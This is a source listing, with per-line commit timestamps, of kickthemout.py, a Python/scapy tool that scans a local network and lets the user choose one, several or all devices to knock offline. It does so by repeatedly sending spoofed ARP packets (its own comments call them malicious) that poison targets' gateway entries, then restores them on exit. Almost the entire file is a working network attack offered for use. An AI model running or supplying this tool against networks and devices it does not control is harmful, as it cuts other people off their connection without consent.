2016-12-07 16:05:14 +01:00
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# kickthemout.py
2016-12-31 01:41:34 +01:00
# authors: k4m4 & xdavidhu
2016-12-07 16:05:14 +01:00
"""
2016-12-31 01:41:34 +01:00
Copyright ( C ) 2016 Nikolaos Kamarinakis ( nikolaskam @gmail.com ) & David Schütz ( xdavid @protonmail.com )
2016-12-07 17:25:17 +01:00
See License at nikolaskama . me ( https : / / nikolaskama . me / kickthemoutproject )
2016-12-07 16:05:14 +01:00
"""
2016-12-31 01:41:34 +01:00
import time , os , sys , logging , math
2016-12-07 16:05:14 +01:00
from time import sleep
2017-01-01 15:25:46 +01:00
import urllib2 as urllib
2017-04-03 23:22:42 +02:00
import traceback
2017-01-20 14:58:05 +01:00
BLUE , RED , WHITE , YELLOW , MAGENTA , GREEN , END = ' \33 [94m ' , ' \033 [91m ' , ' \33 [97m ' , ' \33 [93m ' , ' \033 [1;35m ' , ' \033 [1;32m ' , ' \033 [0m '
2017-01-01 15:25:46 +01:00
2017-01-20 14:50:20 +01:00
notRoot = False
try :
2017-04-05 18:14:22 +02:00
# check whether user is root
2017-01-20 14:50:20 +01:00
if os . geteuid ( ) != 0 :
2017-03-26 15:41:15 +02:00
print ( " \n {0} ERROR: KickThemOut must be run with root privileges. Try again with sudo: \n \t {1} $ sudo python kickthemout.py {2} \n " ) . format ( RED , GREEN , END )
2017-01-20 14:50:20 +01:00
notRoot = True
except :
2017-04-05 18:14:22 +02:00
# then user is probably on windows
2017-01-20 14:50:20 +01:00
pass
if notRoot :
raise SystemExit
2017-01-13 12:53:35 +01:00
logging . getLogger ( " scapy.runtime " ) . setLevel ( logging . ERROR ) # Shut up scapy!
try :
from scapy . all import *
import scan , spoof
except :
2017-03-26 15:41:15 +02:00
print ( " \n {0} ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions. " ) . format ( RED )
print ( " \n {0} If you still cannot resolve this error, please submit an issue here: \n \t {1} https://github.com/k4m4/kickthemout/issues \n {2} " ) . format ( RED , BLUE , END )
2017-01-13 12:53:35 +01:00
raise SystemExit
2016-12-07 16:05:14 +01:00
2017-04-05 18:14:22 +02:00
# display heading
2016-12-07 16:05:14 +01:00
def heading ( ) :
2017-04-01 16:24:17 +02:00
spaces = " " * 76
sys . stdout . write ( GREEN + spaces + """
2016-12-07 16:05:14 +01:00
█ █ ▀ ▄ █ ▄ █ ▄ █ █ ▀ ▄ ▄ ▄ ▄ ▀ ▄ █ ▄ █ █ █ ▄ █ ▀ ▄ ▀ █ █ █ █ █ ▄ ▄ ▄ ▄ ▄ ▄ ▀
█ ▄ █ █ █ █ ▀ ▀ ▄ █ ▄ █ ▀ ▀ ▀ █ █ █ █ ▀ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █
█ ▀ ▄ █ █ █ ▀ █ ▀ ▄ █ █ █ ▀ ▀ █ █ █ ▄ ▄ █ ▄ █ █ █ █ █ █
█ █ ▐ █ █ ▄ ▄ ▀ █ █ █ █ █ █ ▄ ▄ ▀ █ █ ▀ █ █ █ █ █ █ █
█ ▐ ▀ █ █ █ ▀ █ ▀ █ ▀ █ █ █ ▀ █ █ ▄ ▄ █ ▀
▀ ▀ ▀ ▀ ▀ ▀ ▀
2017-01-01 15:25:46 +01:00
""" + END + BLUE +
2017-01-21 16:33:46 +01:00
' \n ' + ' {0} Kick Devices Off Your LAN ( {1} KickThemOut {2} ) {3} ' . format ( YELLOW , RED , YELLOW , BLUE ) . center ( 98 ) +
' \n ' + ' Made With <3 by: {0} Nikolaos Kamarinakis ( {1} k4m4 {2} ) & {0} David Schütz ( {1} xdavidhu {2} ) {3} ' . format (
2017-01-02 10:47:49 +01:00
YELLOW , RED , YELLOW , BLUE ) . center ( 111 ) +
2017-01-21 16:33:46 +01:00
' \n ' + ' Version: {0} 0.1 {1} \n ' . format ( YELLOW , END ) . center ( 86 ) )
2017-01-01 15:25:46 +01:00
2017-04-05 18:14:22 +02:00
# display options
2016-12-07 16:05:14 +01:00
def optionBanner ( ) :
print ( ' \n Choose option from menu: \n ' )
2017-01-01 17:06:15 +01:00
sleep ( 0.2 )
2016-12-07 16:05:14 +01:00
print ( ' \t {0} [ {1} 1 {2} ] {3} Kick ONE Off ' ) . format ( YELLOW , RED , YELLOW , WHITE )
sleep ( 0.2 )
print ( ' \t {0} [ {1} 2 {2} ] {3} Kick SOME Off ' ) . format ( YELLOW , RED , YELLOW , WHITE )
sleep ( 0.2 )
print ( ' \t {0} [ {1} 3 {2} ] {3} Kick ALL Off ' ) . format ( YELLOW , RED , YELLOW , WHITE )
sleep ( 0.2 )
print ( ' \n \t {0} [ {1} E {2} ] {3} Exit KickThemOut \n ' ) . format ( YELLOW , RED , YELLOW , WHITE )
2017-04-05 18:14:22 +02:00
# initiate debugging process
2017-02-13 22:17:15 +01:00
def runDebug ( ) :
print ( " \n \n {0} WARNING! An unknown error has occurred, starting debug... {1} " ) . format ( RED , END )
print (
2017-03-31 08:47:28 +02:00
" {0} Starting debug... (Please report this crash on ' https://github.com/k4m4/kickthemout/issues ' with your private information removed where necessary) {1} " ) . format (
2017-02-13 22:17:15 +01:00
RED , END )
print ( " {0} " ) . format ( RED )
try :
print ( " Current defaultGatewayMac: " + defaultGatewayMac )
except :
print ( " Failed to print defaultGatewayMac... " )
try :
print ( " Reloading mac getter function... " )
regenOnlineIPs ( )
print ( " Reloaded defaultGatewayMac: " + defaultGatewayMac )
except :
print ( " Failed to reload mac getter function / to print defaultGatewayMac... " )
try :
print ( " Known gateway IP: " + defaultGatewayIP )
except :
print ( " Failed to print defaultGatewayIP... " )
try :
print ( " Current hostslist array: " )
print hostsList
except :
print ( " Failed to print hostsList array... " )
2017-04-03 23:22:42 +02:00
try :
print ( " Crash trace: " )
print ( traceback . format_exc ( ) )
except :
print ( " Failed to print crash trace... " )
2017-02-13 22:17:15 +01:00
print ( " DEBUG FINISHED. \n Shutting down... " )
print ( " {0} " ) . format ( END )
raise SystemExit
2017-04-05 18:14:22 +02:00
# regenerate online IPs array & configure gateway
2017-01-01 15:25:46 +01:00
def regenOnlineIPs ( ) :
global onlineIPs
global defaultGatewayMac
2017-02-13 22:17:15 +01:00
global defaultGatewayMacSet
if not defaultGatewayMacSet :
defaultGatewayMac = " "
2017-01-01 15:25:46 +01:00
onlineIPs = [ ]
for host in hostsList :
onlineIPs . append ( host [ 0 ] )
2017-02-13 22:17:15 +01:00
if not defaultGatewayMacSet :
if host [ 0 ] == defaultGatewayIP :
defaultGatewayMac = host [ 1 ]
if not defaultGatewayMacSet and defaultGatewayMac == " " :
2017-04-05 18:14:22 +02:00
# request gateway MAC address (after failed detection by scapy)
2017-02-13 22:17:15 +01:00
print ( " \n {0} ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually. {1} \n " ) . format ( RED , END )
header = ( " {0} kickthemout {1} > {2} Enter your gateway ' s MAC Address {3} (MM:MM:MM:SS:SS:SS): " . format ( BLUE , WHITE , RED , END ) )
defaultGatewayMac = raw_input ( header )
defaultGatewayMacSet = True
2017-01-01 15:25:46 +01:00
2017-04-05 18:14:22 +02:00
# scan network
2017-01-02 10:47:49 +01:00
def scanNetwork ( ) :
global hostsList
2017-01-25 16:39:42 +01:00
try :
2017-04-05 18:14:22 +02:00
# call scanning function from scan.py
2017-03-11 10:53:38 +01:00
hostsList = scan . scanNetwork ( getDefaultInterface ( True ) )
2017-02-13 22:17:15 +01:00
except KeyboardInterrupt :
print ( ' \n \n {0} Thanks for dropping by. \n Catch ya later! {1} ' ) . format ( GREEN , END )
raise SystemExit
2017-01-25 16:39:42 +01:00
except :
print ( " \n {0} ERROR: Network scanning failed. Please check your requirements configuration. {1} \n " ) . format ( RED , END )
raise SystemExit
2017-01-02 10:47:49 +01:00
regenOnlineIPs ( )
2017-04-05 18:14:22 +02:00
# kick one device
2017-01-02 23:48:39 +01:00
def kickoneoff ( ) :
2016-12-31 01:41:34 +01:00
os . system ( " clear||cls " )
print ( " \n {0} kickONEOff {1} selected... {2} \n " ) . format ( RED , GREEN , END )
2017-04-05 18:25:14 +02:00
sys . stdout . write ( " {0} Hang on... {1} \r " . format ( GREEN , END ) )
sys . stdout . flush ( )
2016-12-31 01:41:34 +01:00
scanNetwork ( )
2017-01-01 15:25:46 +01:00
2017-04-05 18:25:14 +02:00
2017-01-01 15:25:46 +01:00
print ( " Online IPs: " )
2016-12-31 01:41:34 +01:00
for i in range ( len ( onlineIPs ) ) :
2017-01-01 15:25:46 +01:00
mac = " "
for host in hostsList :
if host [ 0 ] == onlineIPs [ i ] :
mac = host [ 1 ]
vendor = resolveMac ( mac )
2017-01-21 16:33:46 +01:00
print ( " [ {0} " + str ( i ) + " {1} ] {2} " + str ( onlineIPs [ i ] ) + " {3} \t " + vendor + " {4} " ) . format ( YELLOW , WHITE , RED , GREEN , END )
2017-01-01 15:25:46 +01:00
canBreak = False
while not canBreak :
try :
choice = int ( raw_input ( " \n Choose a target: " ) )
2017-01-02 22:30:26 +01:00
one_target_ip = onlineIPs [ choice ]
2017-01-01 15:25:46 +01:00
canBreak = True
except KeyboardInterrupt :
return
except :
2017-01-02 23:45:30 +01:00
print ( " \n {0} ERROR: Please enter a number from the list! {1} " ) . format ( RED , END )
2016-12-31 01:41:34 +01:00
2017-04-05 18:14:22 +02:00
# locate MAC of specified device
2016-12-31 01:41:34 +01:00
one_target_mac = " "
for host in hostsList :
if host [ 0 ] == one_target_ip :
one_target_mac = host [ 1 ]
if one_target_mac == " " :
print ( " \n IP address is not up. Please try again. " )
2017-01-02 10:47:49 +01:00
return
2016-12-31 01:41:34 +01:00
2017-01-02 10:47:49 +01:00
print ( " \n {0} Target: {1} " + one_target_ip ) . format ( GREEN , END )
2017-01-01 21:19:42 +01:00
print ( " \n {0} Spoofing started... {1} " ) . format ( GREEN , END )
2016-12-31 01:41:34 +01:00
try :
while True :
2017-04-05 18:14:22 +02:00
# broadcast malicious ARP packets (10p/s)
2016-12-31 01:41:34 +01:00
spoof . sendPacket ( defaultInterfaceMac , defaultGatewayIP , one_target_ip , one_target_mac )
2017-01-02 23:30:16 +01:00
time . sleep ( 10 )
2016-12-31 01:41:34 +01:00
except KeyboardInterrupt :
2017-04-05 18:14:22 +02:00
# re-arp target on KeyboardInterrupt exception
2016-12-31 01:41:34 +01:00
print ( " \n {0} Re-arping {1} target... {2} " ) . format ( RED , GREEN , END )
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10 :
2017-02-13 22:17:15 +01:00
try :
2017-04-05 18:14:22 +02:00
# broadcast ARP packets with legitimate info to restore connection
2017-02-13 22:17:15 +01:00
spoof . sendPacket ( defaultGatewayMac , defaultGatewayIP , host [ 0 ] , host [ 1 ] )
except KeyboardInterrupt :
pass
except :
runDebug ( )
2017-01-02 10:47:49 +01:00
reArp + = 1
2016-12-31 01:41:34 +01:00
time . sleep ( 0.5 )
2017-01-01 21:25:29 +01:00
print ( " {0} Re-arped {1} target successfully. {2} " ) . format ( RED , GREEN , END )
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
2017-04-05 18:14:22 +02:00
# kick multiple devices
2016-12-07 16:05:14 +01:00
def kicksomeoff ( ) :
2017-01-01 17:06:15 +01:00
os . system ( " clear||cls " )
print ( " \n {0} kickSOMEOff {1} selected... {2} \n " ) . format ( RED , GREEN , END )
2017-04-05 18:25:14 +02:00
sys . stdout . write ( " {0} Hang on... {1} \r " . format ( GREEN , END ) )
sys . stdout . flush ( )
2017-01-01 17:06:15 +01:00
scanNetwork ( )
print ( " Online IPs: " )
for i in range ( len ( onlineIPs ) ) :
mac = " "
for host in hostsList :
if host [ 0 ] == onlineIPs [ i ] :
mac = host [ 1 ]
vendor = resolveMac ( mac )
2017-01-21 16:33:46 +01:00
print ( " [ {0} " + str ( i ) + " {1} ] {2} " + str ( onlineIPs [ i ] ) + " {3} \t " + vendor + " {4} " ) . format ( YELLOW , WHITE , RED , GREEN , END )
2017-01-01 17:06:15 +01:00
canBreak = False
while not canBreak :
try :
2017-01-01 20:19:50 +01:00
choice = raw_input ( " \n Choose devices to target(comma-separated): " )
2017-01-02 22:38:51 +01:00
if ' , ' in choice :
some_targets = choice . split ( " , " )
canBreak = True
else :
2017-01-13 12:53:35 +01:00
print ( " \n {0} ERROR: Please select more than 1 devices from the list. {1} \n " ) . format ( RED , END )
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt :
return
some_ipList = " "
for i in some_targets :
try :
2017-01-01 20:19:50 +01:00
some_ipList + = GREEN + " ' " + RED + onlineIPs [ int ( i ) ] + GREEN + " ' , "
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt :
return
except :
print ( " \n {0} ERROR: ' {1} " + i + " {2} ' is not in the list. {3} \n " ) . format ( RED , GREEN , RED , END )
return
some_ipList = some_ipList [ : - 2 ] + END
print ( " \n {0} Targets: {1} " + some_ipList ) . format ( GREEN , END )
2017-01-02 23:56:47 +01:00
print ( " \n {0} Spoofing started... {1} " ) . format ( GREEN , END )
2017-01-01 17:06:15 +01:00
try :
while True :
2017-04-05 18:14:22 +02:00
# broadcast malicious ARP packets (10p/s)
2017-01-01 17:06:15 +01:00
for i in some_targets :
ip = onlineIPs [ int ( i ) ]
for host in hostsList :
if host [ 0 ] == ip :
spoof . sendPacket ( defaultInterfaceMac , defaultGatewayIP , host [ 0 ] , host [ 1 ] )
2017-01-02 23:30:16 +01:00
time . sleep ( 10 )
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt :
2017-04-05 18:14:22 +02:00
# re-arp targets on KeyboardInterrupt exception
2017-01-01 17:06:15 +01:00
print ( " \n {0} Re-arping {1} targets... {2} " ) . format ( RED , GREEN , END )
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10 :
2017-04-05 18:14:22 +02:00
# broadcast ARP packets with legitimate info to restore connection
2017-01-01 17:06:15 +01:00
for i in some_targets :
ip = onlineIPs [ int ( i ) ]
for host in hostsList :
if host [ 0 ] == ip :
2017-02-13 22:17:15 +01:00
try :
spoof . sendPacket ( defaultGatewayMac , defaultGatewayIP , host [ 0 ] , host [ 1 ] )
except KeyboardInterrupt :
pass
except :
runDebug ( )
2017-01-02 10:47:49 +01:00
reArp + = 1
2017-01-01 17:06:15 +01:00
time . sleep ( 0.5 )
2017-01-01 21:25:29 +01:00
print ( " {0} Re-arped {1} targets successfully. {2} " ) . format ( RED , GREEN , END )
2017-01-01 15:25:46 +01:00
2017-04-05 18:14:22 +02:00
# kick all devices
2016-12-07 16:05:14 +01:00
def kickalloff ( ) :
2017-01-01 15:25:46 +01:00
os . system ( " clear||cls " )
print ( " \n {0} kickALLOff {1} selected... {2} \n " ) . format ( RED , GREEN , END )
2017-04-05 18:25:14 +02:00
sys . stdout . write ( " {0} Hang on... {1} \r " . format ( GREEN , END ) )
sys . stdout . flush ( )
2017-01-01 15:25:46 +01:00
scanNetwork ( )
print ( " Online IPs: " )
for i in range ( len ( onlineIPs ) ) :
mac = " "
for host in hostsList :
if host [ 0 ] == onlineIPs [ i ] :
mac = host [ 1 ]
vendor = resolveMac ( mac )
2017-01-21 16:33:46 +01:00
print ( str ( " {0} " + str ( onlineIPs [ i ] ) + " {1} \t " + vendor + " {2} " ) . format ( RED , GREEN , END ) )
2017-01-01 15:25:46 +01:00
2017-01-02 23:56:47 +01:00
print ( " \n {0} Spoofing started... {1} " ) . format ( GREEN , END )
2017-01-01 15:25:46 +01:00
try :
2017-04-05 18:14:22 +02:00
# broadcast malicious ARP packets (10p/s)
2017-01-01 15:25:46 +01:00
reScan = 0
while True :
for host in hostsList :
if host [ 0 ] != defaultGatewayIP :
2017-04-05 18:14:22 +02:00
# dodge gateway (avoid crashing network itself)
2017-01-01 15:25:46 +01:00
spoof . sendPacket ( defaultInterfaceMac , defaultGatewayIP , host [ 0 ] , host [ 1 ] )
2017-01-02 10:47:49 +01:00
reScan + = 1
2017-01-01 15:25:46 +01:00
if reScan == 4 :
reScan = 0
scanNetwork ( )
2017-01-02 23:30:16 +01:00
time . sleep ( 10 )
2017-01-01 15:25:46 +01:00
except KeyboardInterrupt :
2017-01-01 17:06:15 +01:00
print ( " \n {0} Re-arping {1} targets... {2} " ) . format ( RED , GREEN , END )
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10 :
2017-04-05 18:14:22 +02:00
# broadcast ARP packets with legitimate info to restore connection
2017-01-01 15:25:46 +01:00
for host in hostsList :
if host [ 0 ] != defaultGatewayIP :
2017-02-13 22:17:15 +01:00
try :
2017-04-05 18:14:22 +02:00
# dodge gateway
2017-02-13 22:17:15 +01:00
spoof . sendPacket ( defaultGatewayMac , defaultGatewayIP , host [ 0 ] , host [ 1 ] )
except KeyboardInterrupt :
pass
except :
runDebug ( )
2017-01-02 10:47:49 +01:00
reArp + = 1
2017-01-01 15:25:46 +01:00
time . sleep ( 0.5 )
2017-01-01 21:25:29 +01:00
print ( " {0} Re-arped {1} targets successfully. {2} " ) . format ( RED , GREEN , END )
2017-01-01 15:25:46 +01:00
2017-04-05 18:14:22 +02:00
# retrieve network interface
2017-03-11 10:53:38 +01:00
def getDefaultInterface ( returnNet = False ) :
2016-12-31 01:41:34 +01:00
def long2net ( arg ) :
if ( arg < = 0 or arg > = 0xFFFFFFFF ) :
raise ValueError ( " illegal netmask value " , hex ( arg ) )
return 32 - int ( round ( math . log ( 0xFFFFFFFF - arg , 2 ) ) )
def to_CIDR_notation ( bytes_network , bytes_netmask ) :
network = scapy . utils . ltoa ( bytes_network )
netmask = long2net ( bytes_netmask )
net = " %s / %s " % ( network , netmask )
if netmask < 16 :
return None
return net
2017-04-26 19:52:54 +02:00
iface_routes = [ route for route in scapy . config . conf . route . routes if route [ 3 ] == scapy . config . conf . iface and route [ 1 ] != 0xFFFFFFFF ]
2017-03-26 17:44:19 +02:00
network , netmask , _ , interface , address = max ( iface_routes , key = lambda item : item [ 1 ] )
net = to_CIDR_notation ( network , netmask )
if net :
if returnNet :
return net
else :
return interface
2016-12-31 01:41:34 +01:00
2017-04-05 18:14:22 +02:00
# retrieve gateway IP
2016-12-31 01:41:34 +01:00
def getGatewayIP ( ) :
2017-01-10 22:39:09 +01:00
try :
2017-01-10 22:41:31 +01:00
getGateway_p = sr1 ( IP ( dst = " google.com " , ttl = 0 ) / ICMP ( ) / " XXXXXXXXXXX " , verbose = False )
return getGateway_p . src
2017-01-10 22:39:09 +01:00
except :
2017-04-05 18:14:22 +02:00
# request gateway IP address (after failed detection by scapy)
2017-01-11 23:03:52 +01:00
print ( " \n {0} ERROR: Gateway IP could not be obtained. Please enter IP manually. {1} \n " ) . format ( RED , END )
2017-01-11 07:13:26 +01:00
header = ( ' {0} kickthemout {1} > {2} Enter Gateway IP {3} (e.g. 192.168.1.1): ' . format ( BLUE , WHITE , RED , END ) )
gatewayIP = raw_input ( header )
return gatewayIP
2016-12-07 16:05:14 +01:00
2017-04-05 18:14:22 +02:00
# retrieve default interface MAC address
2017-01-21 12:23:14 +01:00
def getDefaultInterfaceMAC ( ) :
try :
defaultInterfaceMac = get_if_hwaddr ( defaultInterface )
2017-02-03 11:24:41 +01:00
if defaultInterfaceMac == " " or not defaultInterfaceMac :
print (
" \n {0} ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually. {1} \n " ) . format (
RED , END )
header = ( ' {0} kickthemout {1} > {2} Enter MAC Address {3} (MM:MM:MM:SS:SS:SS): ' . format ( BLUE , WHITE , RED , END ) )
defaultInterfaceMac = raw_input ( header )
return defaultInterfaceMac
else :
return defaultInterfaceMac
2017-01-21 12:23:14 +01:00
except :
2017-04-05 18:14:22 +02:00
# request interface MAC address (after failed detection by scapy)
2017-01-21 12:23:14 +01:00
print ( " \n {0} ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually. {1} \n " ) . format ( RED , END )
header = ( ' {0} kickthemout {1} > {2} Enter MAC Address {3} (MM:MM:MM:SS:SS:SS): ' . format ( BLUE , WHITE , RED , END ) )
defaultInterfaceMac = raw_input ( header )
2017-01-22 10:03:56 +01:00
return defaultInterfaceMac
2017-01-21 12:23:14 +01:00
2017-04-05 18:14:22 +02:00
# resolve mac address of each vendor
2017-01-01 15:25:46 +01:00
def resolveMac ( mac ) :
try :
2017-04-05 18:14:22 +02:00
# sen request to macvendors.co
2017-08-20 01:01:14 +02:00
url = " https://macvendors.co/api/vendorname/ "
2017-01-01 15:25:46 +01:00
request = urllib . Request ( url + mac , headers = { ' User-Agent ' : " API Browser " } )
response = urllib . urlopen ( request )
vendor = response . read ( )
vendor = vendor . decode ( " utf-8 " )
vendor = vendor [ : 25 ]
return vendor
except :
2017-01-01 21:04:11 +01:00
return " N/A "
2016-12-07 16:05:14 +01:00
2017-04-05 18:14:22 +02:00
# script's main function
2017-01-21 16:31:25 +01:00
def main ( ) :
2017-01-21 16:33:46 +01:00
2017-04-05 18:14:22 +02:00
# display heading
2016-12-07 16:05:14 +01:00
heading ( )
2017-01-01 15:25:46 +01:00
print (
" \n {0} Using interface ' {1} " + defaultInterface + " {2} ' with mac address ' {3} " + defaultInterfaceMac + " {4} ' . \n Gateway IP: ' {5} "
2017-01-21 16:35:55 +01:00
+ defaultGatewayIP + " {6} ' --> {7} " + str ( len ( hostsList ) ) + " {8} hosts are up. {9} " ) . format ( GREEN , RED , GREEN , RED , GREEN ,
2017-01-21 16:33:46 +01:00
RED , GREEN , RED , GREEN , END )
2017-04-05 18:14:22 +02:00
# display warning in case of no active hosts
2017-01-15 19:04:03 +01:00
if len ( hostsList ) == 0 or len ( hostsList ) == 1 :
if len ( hostsList ) == 1 :
if hostsList [ 0 ] [ 0 ] == defaultGatewayIP :
2017-01-21 16:33:46 +01:00
print ( " \n {0} {1} WARNING: There are {2} 0 {3} hosts up on you network except your gateway. \n \t You can ' t kick anyone off {4} :/ {5} \n " ) . format (
2017-01-15 19:04:03 +01:00
GREEN , RED , GREEN , RED , GREEN , END )
raise SystemExit
else :
print (
2017-01-21 16:33:46 +01:00
" \n {0} {1} WARNING: There are {2} 0 {3} hosts up on you network. \n \t It looks like something went wrong {4} :/ {5} " ) . format (
2017-01-15 19:04:03 +01:00
GREEN , RED , GREEN , RED , GREEN , END )
print (
2017-01-21 16:33:46 +01:00
" \n {0} If you are experiencing this error multiple times, please submit an issue here: \n \t {1} https://github.com/k4m4/kickthemout/issues \n {2} " ) . format (
2017-01-15 19:04:03 +01:00
RED , BLUE , END )
raise SystemExit
2016-12-31 01:41:34 +01:00
try :
2016-12-07 16:05:14 +01:00
while True :
optionBanner ( )
2016-12-31 01:41:34 +01:00
header = ( ' {0} kickthemout {1} > {2} ' . format ( BLUE , WHITE , END ) )
2016-12-07 16:05:14 +01:00
choice = raw_input ( header )
if choice . upper ( ) == ' E ' or choice . upper ( ) == ' EXIT ' :
2017-01-01 17:06:15 +01:00
print ( ' \n {0} Thanks for dropping by. '
' \n Catch ya later! {1} ' ) . format ( GREEN , END )
2016-12-07 16:05:14 +01:00
raise SystemExit
elif choice == ' 1 ' :
kickoneoff ( )
elif choice == ' 2 ' :
kicksomeoff ( )
elif choice == ' 3 ' :
kickalloff ( )
elif choice . upper ( ) == ' CLEAR ' :
os . system ( " clear||cls " )
2017-01-02 23:39:49 +01:00
else :
2017-01-13 12:53:35 +01:00
print ( " \n {0} ERROR: Please select a valid option. {1} \n " ) . format ( RED , END )
2016-12-07 16:05:14 +01:00
except KeyboardInterrupt :
2017-01-01 17:06:15 +01:00
print ( ' \n \n {0} Thanks for dropping by. '
' \n Catch ya later! {1} ' ) . format ( GREEN , END )
2016-12-07 16:05:14 +01:00
2017-01-21 16:31:25 +01:00
if __name__ == ' __main__ ' :
2017-01-21 16:33:46 +01:00
2017-04-05 18:14:22 +02:00
# configure appropriate network info
2017-04-01 12:25:37 +02:00
sys . stdout . write ( " {0} Scanning your network, hang on... {1} \r " . format ( GREEN , END ) )
sys . stdout . flush ( )
2016-12-31 01:41:34 +01:00
defaultInterface = getDefaultInterface ( )
defaultGatewayIP = getGatewayIP ( )
2017-01-21 12:23:14 +01:00
defaultInterfaceMac = getDefaultInterfaceMAC ( )
2017-02-13 22:17:15 +01:00
global defaultGatewayMacSet
defaultGatewayMacSet = False
2017-04-05 18:14:22 +02:00
# commence scanning process
2016-12-31 01:41:34 +01:00
scanNetwork ( )
2017-01-01 15:25:46 +01:00
2017-08-20 01:01:14 +02:00
main ( )